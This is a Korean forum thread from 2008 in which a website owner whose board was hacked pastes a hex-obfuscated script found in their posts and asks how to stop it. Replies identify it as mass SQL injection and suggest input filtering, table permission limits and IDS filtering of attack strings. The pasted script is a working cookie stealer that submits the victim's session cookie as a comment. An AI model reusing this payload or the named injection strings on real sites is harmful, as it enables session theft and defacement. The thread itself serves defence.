크래킹 피해

423,

7/22

jungjae5

크래킹 피해에 관해 문의 드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_recover&no=383 [복사]

얼마전에 해킹을 당했는 데여
글이 깨지고 글들이 모두 삭제되었는데
그전에 글을 수정하려고 보니
아래와 같은 형태로 이상한 코드가
있었어여

이것을 막을 방법은 없는 것인가여?
아래코드를 금칙어로 지정하면
혹시 해결되는 것인가요?

pre>

중간에는 글내용이 들어있었어요-중략

</pre>

<script language="java-script">document.write(unescape("\x3C\x53\x43\x52\x49\x50\x54\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x73\x63\x72\x69\x70\x74\x73\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x53\x43\x52\x49\x50\x54\x3E\x0D\x0A\x3C\x46\x4F\x52\x4D\x20\x6E\x61\x6D\x65\x3D\x63\x6F\x6D\x6D\x65\x6E\x74\x46\x6F\x72\x6D\x32\x20\x20\x61\x63\x74\x69\x6F\x6E\x3D\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x2F\x63\x61\x66\x65\x5F\x63\x6F\x6D\x6D\x65\x6E\x74\x5F\x61\x63\x74\x69\x6F\x6E\x2E\x70\x68\x70\x20\x6D\x65\x74\x68\x6F\x64\x3D\x70\x6F\x73\x74\x3E\x0D\x0A\x3C\x49\x4E\x50\x55\x54\x20\x74\x79\x70\x65\x3D\x68\x69\x64\x64\x65\x6E\x20\x76\x61\x6C\x75\x65\x3D\x73\x6F\x72\x61\x5F\x63\x61\x66\x65\x5F\x61\x72\x74\x69\x63\x6C\x65\x20\x6E\x61\x6D\x65\x3D\x70\x5F\x74\x61\x62\x6C\x65\x6E\x61\x6D\x65\x3E\x20\x0D\x0A\x3C\x49\x4E\x50\x55\x54\x20\x74\x79\x70\x65\x3D\x68\x69\x64\x64\x65\x6E\x20\x76\x61\x6C\x75\x65\x3D\x38\x30\x32\x31\x30\x35\x39\x20\x6E\x61\x6D\x65\x3D\x70\x5F\x6E\x75\x6D\x3E\x20\x0D\x0A\x3C\x49\x4E\x50\x55\x54\x20\x74\x79\x70\x65\x3D\x68\x69\x64\x64\x65\x6E\x20\x76\x61\x6C\x75\x65\x3D\x69\x6E\x73\x65\x72\x74\x20\x6E\x61\x6D\x65\x3D\x70\x5F\x61\x63\x74\x69\x6F\x6E\x3E\x20\x0D\x0A\x3C\x49\x4E\x50\x55\x54\x20\x74\x79\x70\x65\x3D\x68\x69\x64\x64\x65\x6E\x20\x6E\x61\x6D\x65\x3D\x70\x5F\x63\x6F\x6D\x6D\x65\x6E\x74\x3E\x0D\x0A\x3C\x49\x4E\x50\x55\x54\x20\x74\x79\x70\x65\x3D\x68\x69\x64\x64\x65\x6E\x20\x76\x61\x6C\x75\x65\x3D\x30\x31\x20\x6E\x61\x6D\x65\x3D\x70\x5F\x69\x63\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x46\x4F\x52\x4D\x3E\x0D\x0A\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x76\x61\x72\x20\x6D\x65\x6E\x74\x76\x61\x6C\x75\x65\x20\x3D\x20\x73\x6F\x72\x61\x47\x65\x74\x43\x6F\x6F\x6B\x69\x65\x28\x22\x43\x5F\x46\x4C\x41\x47\x22\x29\x20\x3B\x0D\x0A\x76\x61\x72\x20\x61\x69\x64\x63\x20\x3B\x0D\x0A\x69\x66\x20\x28\x6D\x65\x6E\x74\x76\x61\x6C\x75\x65\x20\x21\x3D\x22\x59\x22\x29\x7B\x0D\x0A\x20\x61\x69\x64\x63\x20\x3D\x20\x65\x6E\x63\x6F\x64\x65\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x28\x73\x6F\x72\x61\x47\x65\x74\x43\x6F\x6F\x6B\x69\x65\x28\x22\x41\x49\x44\x22\x29\x29\x3B\x0D\x0A\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6D\x6D\x65\x6E\x74\x46\x6F\x72\x6D\x32\x2E\x70\x5F\x63\x6F\x6D\x6D\x65\x6E\x74\x2E\x76\x61\x6C\x75\x65\x20\x3D\x20\x61\x69\x64\x63\x20\x3B\x0D\x0A\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6D\x6D\x65\x6E\x74\x46\x6F\x72\x6D\x32\x2E\x73\x75\x62\x6D\x69\x74\x28\x29\x3B\x0D\x0A\x20\x7D\x0D\x0A\x73\x6F\x72\x61\x53\x65\x74\x43\x6F\x6F\x6B\x69\x65\x28\x22\x43\x5F\x46\x4C\x41\x47\x22\x2C\x22\x59\x22\x2C\x37\x29\x3B\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x0D\x0A"));</script>

Hit : 3942 Date : 2008/11/16 06:41


k1rha	mass sql injection 입니다 바로 아래 같은 글이 대한 질문이있네요	2008/11/16
jungjae5	그렇다면 어느부분을 필터링해야만 해킹을 막을 수 있는 건가여? 답변좀 부탁드립니다. 고수분들 꼭 좀 부탁드려요	2008/11/16
k1rha	와우해커 김충희님의 문서에 의하면 mass sql injection 공격을 차단하기위해 웹소스상에서 쿼리스트링에 대한 길이제한을 적용해야하고 입력되는 부분의 문자를 모두 제한하여 예상되는 문자 이외의 문자가 들어오면 필터링 하는 방법으로 막아줘야한다고 써있습니다.	2008/11/17
k1rha	또한 sysobjectis 와 syscolumns의 메타테이블에서 정보를 제공받기에 테이블의 권한을 제거하면 공격쿼리자체가 실패하겠죠? <br /> <br /> 그리고 근본적으로 sp를 사용하거나 asp 레벨에서의 DB에 사용되는 특수문자를 필터링하는것을 권장한다고 쓰여있습니다 .	2008/11/17
k1rha	또한 @S = CAST 나 DECALARE @SET 이라는 공격코드가 IDS IPS를 우회할수 있도록 도와주고 있는데요 IDS IPS 장비단에서 이러한 문자열을 필터링 해주시면 됩니다.	2008/11/17
k1rha	최근 저두 mass sql 에 대해서 공부하고있는데요, 테스트 환경을 구축하느라 잠시 지연되고있는데 테스트를 마치게 된다면 정확한 정보 다시 알려드리겠습니다~ 도움되셨길 빌어요^^~	2008/11/17
jungjae5	늦게라도 성실하고 좋은 답변에 감사를 드립니다.	2008/12/07